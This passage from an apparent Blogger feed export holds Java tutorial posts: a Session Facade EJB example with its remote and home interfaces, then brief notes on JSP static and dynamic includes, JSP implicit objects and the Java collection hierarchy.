/><br /> // method to connect the session facade to its <br /> // entity beans using the primary key values<br /> private void connectToEntities (<br /> String resourceId, String projectId)<br /> throws ResourceException {<br /> resourceEntity = getResourceEntity(resourceId);<br /> projectEntity = getProjectEntity(projectId);<br /> ...<br /> }<br /><br /> // method to reconnect the session facade to a<br /> // different set of entity beans using primary key<br /> // values<br /> public resetEntities(String resourceId,<br /> String projectId, ...)<br /> throws PSAException {<br /><br /> connectToEntities(resourceId, projectId, ...);<br /> }<br /><br /> // private method to get Home for Resource<br /> private ResourceHome getResourceHome()<br /> throws ServiceLocatorException {<br /> return ServiceLocator. getInstance().getHome(<br /> "ResourceEntity", ResourceHome.class);<br /> }<br /><br /> // private method to get Home for Project<br /> private ProjectHome getProjectHome()<br /> throws ServiceLocatorException {<br /> return ServiceLocator. getInstance().getHome(<br /> "ProjectEntity", ProjectHome.class); <br /> }<br /><br /> // private method to get Resource entity<br /> private Resource getResourceEntity(<br /> String resourceId) throws ResourceException {<br /> try {<br /> ResourceHome home = getResourceHome();<br /> return (Resource) <br /> home.findByPrimaryKey(resourceId);<br /> } catch(...) {<br /> // Handle exceptions<br /> }<br /> }<br /><br /> // private method to get Project entity<br /> private Project getProjectEntity(String projectId)<br /> throws ProjectException {<br /> // similar to getResourceEntity<br /> ...<br /> }<br /><br /> // Method to encapsulate workflow related<br /> // to assigning a resource to a project.<br /> // It deals with Project and Resource Entity beans<br /> public void assignResourceToProject(int numHours)<br /> throws PSAException {<br /><br /> try {<br /> if ((projectEntity == null) ||<br /> (resourceEntity == null)) {<br /><br /> // SessionFacade not connected to entities<br /> throw new PSAException(...);<br /> }<br /><br /> // Get Resource data<br /> ResourceTO resourceTO =<br /> resourceEntity.getResourceData();<br /><br /> // Get Project data<br /> ProjectTO projectTO =<br /> projectEntity.getProjectData();<br /> // first add Resource to Project<br /> projectEntity.addResource(resourceTO);<br /> // Create a new Commitment for the Project<br /> CommitmentTO commitment = new<br /> CommitmentTO( ...);<br /><br /> // add the commitment to the Resource<br /> projectEntity.addCommitment(commitment);<br /><br /> } catch(...) {<br /> // Handle exceptions<br /> }<br /> }<br /><br /> // Similarly implement other business methods to<br /> // facilitate various use cases/interactions<br /> public void unassignResourceFromProject()<br /> throws PSAException {<br /> ...<br /> }<br /><br /> // Methods working with ResourceEntity<br /> public ResourceTO getResourceData()<br /> throws ResourceException {<br /> ...<br /> }<br /><br /> // Update Resource Entity Bean<br /> public void setResourceData(ResourceTO resource) <br /> throws ResourceException {<br /> ...<br /> }<br /><br /> // Create new Resource Entity bean<br /> public ResourceTO createNewResource(ResourceTO <br /> resource) throws ResourceException {<br /> ...<br /> }<br /><br /> // Methods for managing resource's blockout time<br /> public void addBlockoutTime(Collection blockoutTime) <br /> throws RemoteException,BlockoutTimeException {<br /> ...<br /> }<br /> <br /> public void updateBlockoutTime(<br /> Collection blockoutTime) <br /> throws RemoteException, BlockoutTimeException {<br /> ...<br /> }<br /> <br /> public Collection getResourceCommitments() <br /> throws RemoteException, ResourceException {<br /> ...<br /> }<br /><br /> // Methods working with ProjectEntity<br /> public ProjectTO getProjectData()<br /> throws ProjectException {<br /> ...<br /> }<br /><br /> // Update Project Entity Bean<br /> public void setProjectData(ProjectTO project) <br /> throws ProjectException {<br /> ...<br /> }<br /><br /> // Create new Project Entity bean<br /> public ProjectTO createNewProject(ProjectTO project)<br /> throws ProjectException {<br /> ...<br /> }<br /><br /> ...<br /><br /> // Other session facade method examples<br /><br /> // This proxies a call to a Transfer Object Assembler<br /> // to obtain a composite Transfer Object.<br /> // See Transfer Object Assembler pattern<br /> public ProjectCTO getProjectDetailsData()<br /> throws PSAException {<br /> try {<br /> ProjectTOAHome projectTOAHome = (ProjectTOAHome)<br /> ServiceLocator.getInstance().getHome(<br /> "ProjectTOA", ProjectTOAHome.class);<br /> // Transfer Object Assembler session bean<br /> ProjectTOA projectTOA = <br /> projectTOAHome.create(...);<br /> return projectTOA.getData(...);<br /> } catch (...) {<br /> // Handle / throw exceptions<br /> }<br /> }<br /><br /> // These method proxies a call to a ValueListHandler<br /> // to get a list of projects. See Value List Handler <br /> // pattern.<br /> public Collection getProjectsList(Date start, <br /> Date end) throws PSAException {<br /> try {<br /> ProjectListHandlerHome projectVLHHome = <br /> (ProjectVLHHome)<br /> ServiceLocator.getInstance().getHome(<br /> "ProjectListHandler",<br /> ProjectVLHHome.class);<br /> // Value List Handler session bean<br /> ProjectListHandler projectListHandler = <br /> projectVLHHome.create();<br /> return projectListHandler.getProjects(<br /> start, end);<br /> } catch (...) {<br /> // Handle / throw exceptions<br /> }<br /> }<br /><br /> ...<br /><br /> public void ejbActivate() {<br /> ...<br /> }<br /><br /> public void ejbPassivate() {<br /> context = null;<br /> }<br /><br /> public void setSessionContext(SessionContext ctx) {<br /> this.context = ctx;<br /> }<br /><br /> public void ejbRemove() {<br /> ...<br /> }<br />}</span><br /></pre><span class="sp20"></span><br /><span class="sp20"><br /></span><br /><span class="sp20"><b>Remote Interface</b> :</span><br /><span class="sp20"><br /></span><br /><span class="sp20"></span><br /><pre>package corepatterns.apps.psa.ejb;<br /><br />import java.rmi.RemoteException;<br />import javax.ejb.*;<br />import corepatterns.apps.psa.core.*;<br /><br />// Note: all try/catch details not shown for brevity.<br /><br />public interface ProjectResourceManager<br /> extends EJBObject {<br /><br /> public resetEntities(String resourceId,<br /> String projectId, ...)<br /> throws RemoteException, ResourceException ;<br /><br /> public void assignResourceToProject(int numHours)<br /> throws RemoteException, ResourceException ;<br /><br /> public void unassignResourceFromProject()<br /> throws RemoteException, ResourceException ;<br /><br /> ...<br /><br /> public ResourceTO getResourceData()<br /> throws RemoteException, ResourceException ;<br /><br /> public void setResourceData(ResourceTO resource) <br /> throws RemoteException, ResourceException ;<br /><br /> public ResourceTO createNewResource(ResourceTO resource)<br /> throws ResourceException ;<br /><br /> public void addBlockoutTime(Collection blockoutTime) <br /> throws RemoteException,BlockoutTimeException ;<br /> <br /> public void updateBlockoutTime(Collection blockoutTime) <br /> throws RemoteException,BlockoutTimeException ;<br /> <br /> public Collection getResourceCommitments()<br /> throws RemoteException, ResourceException;<br /><br /> public ProjectTO getProjectData()<br /> throws RemoteException, ProjectException ;<br /> <br /> public void setProjectData(ProjectTO project) <br /> throws RemoteException, ProjectException ;<br /><br /> public ProjectTO createNewProject(ProjectTO project)<br /> throws RemoteException, ProjectException ;<br /><br /> ...<br /><br /> public ProjectCTO getProjectDetailsData()<br /> throws RemoteException, PSAException ;<br /><br /> public Collection getProjectsList(Date start, <br /> Date end) throws RemoteException, PSAException ;<br /><br /> ...<br />}</pre><pre> </pre><pre style="font-family: inherit;"><span style="font-size: large;"> </span></pre><pre><span style="font-family: inherit; font-size: large;"><b>Home Interface</b> :</span></pre><br /><br /><br /><span class="sp20"><span class="sp20"></span></span><br /><pre>package corepatterns.apps.psa.ejb;<br /><br />import javax.ejb.EJBHome;<br />import java.rmi.RemoteException;<br />import corepatterns.apps.psa.core.ResourceException;<br />import javax.ejb.*;<br /><br />public interface ProjectResourceManagerHome <br />extends EJBHome {<br /> <br /> public ProjectResourceManager create() <br /> throws RemoteException,CreateException;<br /> public ProjectResourceManager create(String<br /> resourceId, String projectId, ...) <br /> throws RemoteException,CreateException;<br />}</pre><pre> </pre><pre> </pre><pre>Note : the usage of Session Facade is depend on the application.For a smaller </pre><pre>application Session Facade does add much.it is useful when your application goes bigger</pre><br /><br />Resource :<br /><a href="http://www.oracle.com/technetwork/java/sessionfacade-135203.html" rel="nofollow" target="_blank"><b> http://www.oracle.com/technetwork/java/sessionfacade-135203.html</b></a><br /><b><a href="http://www.oracle.com/technetwork/java/sessionfacade-141285.html" rel="nofollow" target="_blank">http://www.oracle.com/technetwork/java/sessionfacade-141285.html </a></b></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-48695400694644793522012-07-16T01:28:00.003+05:302012-07-16T01:28:50.954+05:30JSP Static include and Dynamic include<div dir="ltr" style="text-align: left;" trbidi="on"><br /><b>Static Include :</b> <i><%@include file="secondInclude.jsp"%></i><br /><br />used to add or include static content in jsp<br /><br /><br /><b>Dynamic Include :</b> <i><jsp:include page="include.jsp"></jsp:include></i><br /><br />used to addup Dynamic content in JSP.</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-36488878724983887952012-07-16T01:18:00.001+05:302012-07-16T01:18:53.835+05:30Implecit Objects of jsp<div dir="ltr" style="text-align: left;" trbidi="on"><ul style="text-align: left;"><li><b>request</b></li><li><b>response</b></li><li><b>out</b></li><li><b>session</b></li><li><b>page </b>: (like <b><i>this </i></b>references current jsp instance)</li><li><b>pageContext </b>: with context info it has access to all implicit variables of the page and used for setting the attributes of different scopes and has methods for including another URL's contents, and for forwarding or redirecting to another URL. </li></ul> Ex : pageContext.include( test.jsp ); pageContext.forward( test.jsp );<br /><ul style="text-align: left;"><li><b>application : </b>this Object is Like <b>ServletContext.</b> </li><li><b>Exception</b></li><li><b>config</b> : this Object is Like <b>ServletConfig.</b></li></ul></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-26515222843445148772012-07-16T00:45:00.001+05:302012-07-16T01:19:12.289+05:30Collection Hierarchy in Java<div dir="ltr" style="text-align: left;" trbidi="on"><br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img alt="" src="data:image/png;base64,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